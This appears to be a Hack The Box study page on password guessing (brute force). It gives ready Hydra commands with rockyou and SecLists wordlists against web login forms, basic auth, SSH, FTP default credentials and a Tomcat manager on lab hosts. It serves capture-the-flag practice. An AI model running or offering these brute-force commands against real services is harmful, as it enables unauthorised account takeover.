Password Guessing
Sub-technique of T1110 Brute Force ↗
Trying passwords from a wordlist against a service that asks for a login (SSH, FTP, a web form).
How it shows up on Hack The Box
Very common in TryHackMe rooms and almost never needed on HTB. With a known user, Hydra and rockyou.txt; for web forms, copy the error message exactly into http-post-form.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Web enumeration › Common findings
HTTP form with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt box.htb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=incorrect'The text after F= is something that only appears when the login fails.
Basic auth
hydra -L users.txt -P passwords.txt box.htb http-get /admin
SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.20 -t 4Hydra › More protocols
Default credentials (user:password in one file)
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.10.11.20
Tomcat manager
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.11.20:8080/manager/html
Users and passwords from lists
hydra -L usuarios.txt -P claves.txt ssh://10.10.11.20 -t 4 -f-f stops at the first valid pair.
No command matches.